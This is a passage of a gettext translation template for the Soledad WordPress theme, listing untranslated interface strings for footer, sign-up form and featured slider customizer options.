#: inc/customizer/config/sections/penci_section_footer_colors_section.php:134
msgid "Footer Social Icons Border & Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:141
msgid "Footer Social Icons Hover Icons Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:148
msgid "Footer Social Icons Hover Border & Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:155
msgid "Footer Social Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:162
msgid "Footer Social Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:169
msgid "Footer Social Section Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:176
msgid "Footer Social Section Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:178
msgid ""
"This option just applies when you re-order the social icons section to "
"higher than other sections"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:182
msgid "Footer Menu"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:190
msgid "Footer Menu Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:197
msgid "Footer Menu Text Color Hover"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:201
#: inc/customizer/config/sections/penci_section_footer_general_section.php:245
msgid "Footer Copyright Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:207
msgid "Footer Copyright Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:216
msgid "Footer Copyright Accent Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:221
msgid "Go to Top Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:229
msgid "Go To Top Text & Icon Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:236
msgid "Go To Top Text & Icon Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:243
msgid "Go To Top Button Floating Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_colors_section.php:250
msgid "Go To Top Button Floating Icon Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:12
#: inc/meta-box/register/page.php:287
msgid "Footer Container Width"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:18
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:31
#: inc/meta-box/register/page.php:105 inc/meta-box/register/page.php:291
msgid "Width: 1170px"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:19
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:32
#: inc/meta-box/register/page.php:106 inc/meta-box/register/page.php:292
msgid "Width: 1400px"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:24
msgid "Re-order Sections on the Footer"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:28
msgid "Widgets Area - Instagram - SignUp Form - Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:29
msgid "Widgets Area - Instagram - Social Icons - SignUp Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:30
msgid "Widgets Area - Social Icons - Instagram - SignUp Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:31
msgid "Widgets Area - Social Icons - SignUp Form - Instagram"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:32
msgid "Widgets Area - SignUp Form - Social Icons - Instagram"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:33
msgid "Widgets Area - SignUp Form - Instagram - Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:34
msgid "Instagram - Widgets Area - SignUp Form - Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:35
msgid "Instagram - Widgets Area - Social Icons - SignUp Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:36
msgid "Instagram - Social Icons - Widgets Area - SignUp Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:37
msgid "Instagram - Social Icons - SignUp Form - Widgets Area"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:38
msgid "Instagram - SignUp Form - Social Icons - Widgets Area"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:39
msgid "Instagram - SignUp Form - Widgets Area - Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:40
msgid "SignUp Form - Widgets Area - Social Icons - Instagram"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:41
msgid "SignUp Form - Widgets Area - Instagram - Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:42
msgid "SignUp Form - Social Icons - Widgets Area - Instagram"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:43
msgid "SignUp Form - Social Icons - Instagram - Widgets Area"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:44
msgid "SignUp Form - Instagram - Widgets Area - Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:45
msgid "SignUp Form - Instagram - Social Icons - Widgets Area"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:46
msgid "Social Icons - Widgets Area - Instagram - SignUp Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:47
msgid "Social Icons - Widgets Area - SignUp Form - Instagram"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:48
msgid "Social Icons - Instagram - SignUp Form - Widgets Area"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:49
msgid "Social Icons - Instagram - Widgets Area - SignUp Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:50
msgid "Social Icons - SignUp Form - Widgets Area - Instagram"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:51
msgid "Social Icons - SignUp Form - Instagram - Widgets Area"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:57
msgid "Disable Footer Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:64
msgid "Disable Border Around Footer Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:71
msgid "Enable Use Brand Colors for Footer Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:78
msgid "Disable Border Radius on Border of Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:85
msgid "Hide Footer Social Icons Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:92
msgid "Make Footer Social Text Drop In New Line"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:99
msgid "Font Size for Icons on Footer Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:119
msgid "Disable Uppercase on Footer Social Icons Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:126
msgid "Font Size for Footer Social Icons Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:146
msgid "Disable Footer Logo"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:154
msgid "Footer Logo"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:169
msgid "Set A Max-Width for Footer Logo"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:195
msgid "Custom Link for Footer Logo Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:197
msgid ""
"By default, footer logo image will link to homepage url. If you want to link "
"the footer logo for another URL - fill here. Include http:// or https:// on "
"the link"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:203
msgid "Disable Go To Top Button on Footer"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:210
msgid "Enable Go To Top Button Floating on The Bottom Right"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:217
msgid "Enable Footer Menu"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:219
msgid ""
"You can setup your footer menu by go to admin > Appearance > Menus > Create/"
"Select your menu > scroll down and check to \"Footer Menu\" at the bottom."
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:225
msgid "Font Size for Footer Menu"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:248
msgid ""
"@2020 - All Right Reserved. Designed and Developed by <a class=\"wp-"
"customizer-link\" rel=\"nofollow\" href=\"https://1.envato.market/YYJ4P\" "
"target=\"_blank\">PenciDesign</a>"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:252
msgid "Disable Italic on Footer Copyright Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:259
msgid "Font Size for Footer Copyright Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_general_section.php:279
msgid ""
"Add Custom HTML code before close &lt;/body&gt; tag / Google Analytics Code"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_instagram_section.php:4
msgid "Display Footer Instagram Widget Title Overlay Images"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_instagram_section.php:11
msgid "Hide Instagram Icon on Footer Instagram"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_instagram_section.php:26
msgid "Font Size for Widget Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:4
msgid "Custom Padding to Top"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:24
msgid "Custom Padding to Bottom"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:52
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:667
#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:886
msgid "Font Size for Heading"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:81
#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:107
#: inc/js_composer/shortcodes/fancy_heading/settings.php:439
#: inc/js_composer/shortcodes/testimonails/settings.php:424
msgid "Font Size for Description"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:114
msgid "Font Size for Inputs"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:132
msgid "Font Size for Submit Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:150
msgid "Display Name Field on Footer SignUp Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:156
msgid "Footer SignUp Form Area Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:162
msgid "SignUp Form Heading Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:169
msgid "SignUp Form Description Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:176
msgid "SignUp Form Email Input Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:183
msgid "SignUp Form Email Input Hover Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:190
msgid "SignUp Form Email Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:197
msgid "SignUp Form Submit Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:204
msgid "SignUp Form Submit Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:211
msgid "SignUp Form Submit Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_signupform_section.php:218
msgid "SignUp Form Submit Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_widgets_section.php:4
#: inc/meta-box/register/page.php:275
msgid "Disable Footer Widget Area"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_widgets_section.php:11
#: inc/meta-box/register/page.php:311
msgid "Footer Widget Area Columns Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_widgets_section.php:31
#: inc/meta-box/register/page.php:301
msgid "Footer Widget Area Padding Top & Bottom"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_widgets_section.php:51
msgid "Align Center Footer Widget Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_footer_widgets_section.php:58
msgid "Font Size for Footer Widget Titles"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:4
msgid "Featured Slider Overlay Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:5
msgid ""
"This option just apply for some featured slider styles has overlay color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:12
msgid "Featured Slider Overlay Color Opacity"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:42
msgid "Featured Slider Hover Overlay Color Opacity"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:72
msgid "Center Box Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:74
msgid "This option just apply for featured slider styles 1, 2, 3, 35, 36"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:80
msgid "Center Box Opacity"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:110
msgid "Post Category Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:117
msgid "Post Category Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:124
msgid "Title Post Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:131
msgid "Title Post Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:138
#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:199
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:34
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:110
#: inc/customizer/config/sections/penci_section_spost_colors_section.php:28
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:407
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:625
#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:171
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:794
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:428
#: inc/js_composer/inc/vc-params-helper.php:1036
#: inc/js_composer/inc/vc-params-helper.php:1589
#: inc/js_composer/inc/vc-params-helper.php:1799
#: inc/js_composer/shortcodes/featured_slider/settings.php:391
#: inc/js_composer/shortcodes/featured_slider/settings.php:440
#: inc/js_composer/shortcodes/posts_slider/settings.php:145
#: inc/js_composer/shortcodes/recent_posts/settings.php:312
#: inc/js_composer/shortcodes/small_list/settings.php:600
msgid "Post Meta Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:145
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:821
#: inc/js_composer/inc/vc-params-helper.php:1654
#: inc/js_composer/shortcodes/small_list/settings.php:628
msgid "Post Excerpt Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:152
msgid "Post Format Icons Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:159
msgid "Overlay Color for Slider Style 29 & 30"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:166
msgid "Overlay Opacity for Slider Style 29 & 30"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:196
msgid "Color of Line on Slider Style 29 & 30"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:203
msgid "Color Button Text & Button Border on Slider Style 29, 30, 35, 36"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:210
msgid "Background Color Hover of Buttor on Slider Style 29, 30, 35, 36, 38"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_colors_section.php:217
msgid "Text Color Hover of Buttor on Slider Style 29, 30, 35, 36, 38"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:4
msgid "Font Size for Categories on Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:23
#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:165
#: inc/customizer/config/sections/penci_section_layout_fontsize_section.php:99
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:136
#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:105
#: inc/js_composer/inc/vc-params-helper.php:1065
#: inc/js_composer/inc/vc-params-helper.php:1319
#: inc/js_composer/inc/vc-params-helper.php:1620
#: inc/js_composer/inc/vc-params-helper.php:1807
#: inc/js_composer/shortcodes/posts_slider/settings.php:153
#: inc/js_composer/shortcodes/recent_posts/settings.php:320
msgid "Font Size for Post Meta"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:62
#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:242
msgid "Font Size for Post Titles on Small Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:81
msgid "Font Size for Post Titles on Tiny Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:82
msgid "You can see Tiny Posts on Style 22, 23, 24"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:101
msgid "Font Size for Post Titles on Mobile"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:120
msgid "Font Size for Post Titles on Small Posts on Mobile"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:139
msgid "Font Size for Excerpt on Style 35, 36, 38, 39"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:158
msgid "Font Size for Button on Style 29, 30, 35, 36, 38, 39"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:177
msgid "Penci Slider Style 1 & 2"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:178
msgid ""
"Penci Slider is a Custom Slider - it does not based on Posts. So, you can "
"pick any image & text & URL on each slide.<br>Check a demo for Penci Slider "
"<a class=\"wp-customizer-link\" target=\"_blank\" href=\"https://soledad."
"pencidesign.net/soledad-hipster/?slider=style-31\">here</a>"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:191
msgid "Font Size for Titles on Penci Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:224
msgid "Font Size for Caption on Penci Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:257
msgid "Font Size for Button on Penci Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:4
msgid "Enable Featured Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:11
msgid "Enable Featured Slider on All Page"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:18
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:92
#: inc/js_composer/shortcodes/featured_slider/settings.php:89
msgid "Enable Flat Overlay Replace with Gradient Overlay"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:20
msgid ""
"This option does not apply for Slider Styles 1, 2, 3, 4, 5, 29, 30, 35, 36, "
"37, 38 & Penci Sliders"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:26
msgid "Border Radius for Images on Featured Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:31
msgid ""
"You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</"
"strong>. If you want to disable border radius for slider. Fill 0"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:34
msgid "Featured Slider Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:38
msgid ""
"If you choose Penci Slider, you need have posts in \"Penci Slider\" post type"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:83
msgid "Carousel Sliders Effect"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:84
msgid ""
"This option apply for slider styles 7,8,9,10 and 38. The \"Swing\" effect "
"does not support the loop option."
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:95
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:397
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:687
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:119
msgid "General Slider Effect"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:96
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:399
msgid "Some sliders do not support all effects listed below."
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:111
#: inc/meta-box/inc/fields.php:153 inc/meta-box/meta-box.php:606
msgid "Revolution Slider Shortcode"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:116
msgid ""
"If you choose Featured Slider Style is Revolution Slider, you need to fill "
"Revolution Slider shortcode here"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:119
msgid "Enable Next/Prev Button for Penci Slider & Slider Styles 35, 36, 37"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:127
msgid "Disable Dots for Penci Slider & Slider Styles 35, 36, 37"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:135
msgid "Custom Image Size on the Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:176
msgid "Custom Image Size for Big Posts on the Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:218
msgid "Custom Image Size on Mobile"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:258
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:254
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:340
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:543
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:106
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:61
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:108
#: inc/js_composer/shortcodes/news_ticker/settings.php:62
#: inc/js_composer/shortcodes/posts_slider/settings.php:76
#: inc/js_composer/soledad_vc.php:349 inc/js_composer/soledad_vc.php:764
#: inc/js_composer/soledad_vc.php:1146
#: inc/template-builder/archive-elements/posts.php:342
#: inc/template-builder/archive-elements/posts.php:579
msgid "Custom Words Length for Post Titles"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:278
msgid "Order By on Featured Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:282
#: inc/gutenberg/block/featured-cat/index.js:57
msgid "Post Date"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:283
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:46
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:150
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:53
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:217
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:268
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:133
#: inc/elementor/base/base-widget.php:1264
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1855
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:122
msgid "Modified Date"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:284
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:47
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:151
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:54
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:218
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:134
#: inc/elementor/base/base-widget.php:1265
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1856
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:818
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:669
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:141
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:121
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:331
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:839
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:197
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:123
#: inc/gutenberg/block/featured-cat/index.js:59
#: inc/template-builder/archive-elements/posts.php:702
msgid "Post Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:285
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:43
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:147
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:50
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:214
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:135
#: inc/elementor/base/base-widget.php:1266
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1857
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:124
#: inc/gutenberg/block/featured-cat/index.js:60
msgid "Random Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:286
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:45
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:149
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:52
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:216
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:132
#: inc/elementor/base/base-widget.php:1263
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1854
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:121
#: inc/gutenberg/block/featured-cat/index.js:58
#: inc/gutenberg/block/recipe/index.js:26
#: inc/gutenberg/block/review/index.js:26
msgid "Post ID"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:287
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:48
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:152
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:55
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:219
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:269
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:136
#: inc/elementor/base/base-widget.php:1267
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1858
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:125
msgid "Comment Count"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:293
msgid "Sort Order on Featured Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:297
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:69
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:233
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:146
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:111
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:168
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:121
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:328
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:279
#: inc/elementor/modules/penci-product/widgets/penci-product.php:177
#: inc/gutenberg/block/featured-cat/index.js:64
#: inc/js_composer/inc/product_param.php:116
#: inc/js_composer/params/loop/register.php:369
#: inc/js_composer/shortcodes/product/settings.php:119
#: inc/js_composer/shortcodes/product_brand/settings.php:41
msgid "Descending"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:298
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:147
msgid "Ascending "
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:304
msgid "Amount of Slides"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:324
msgid "Enable Auto Play Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:331
msgid "Featured Slider Auto Time"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:332
#: inc/customizer/config/sections/penci_section_fslider_general_section.php:353
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:291
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:313
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:132
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:142
#: inc/js_composer/shortcodes/news_ticker/settings.php:88
#: inc/js_composer/shortcodes/news_ticker/settings.php:95
msgid "1000 = 1 second"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:352
msgid "Featured Slider Auto Speed"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:373
msgid "Featured Penci Slider Height"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:392
msgid "Custom Fixed Ratio Height/Width of Images on Penci Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:393
#, no-php-format
msgid "Example: height/width = 0.45 = 45% - let fill 45"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:410
msgid "Remove Black Overlay Background on Heading & Captions of Penci Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:418
msgid "Filter Featured Slider By"
msgstr ""

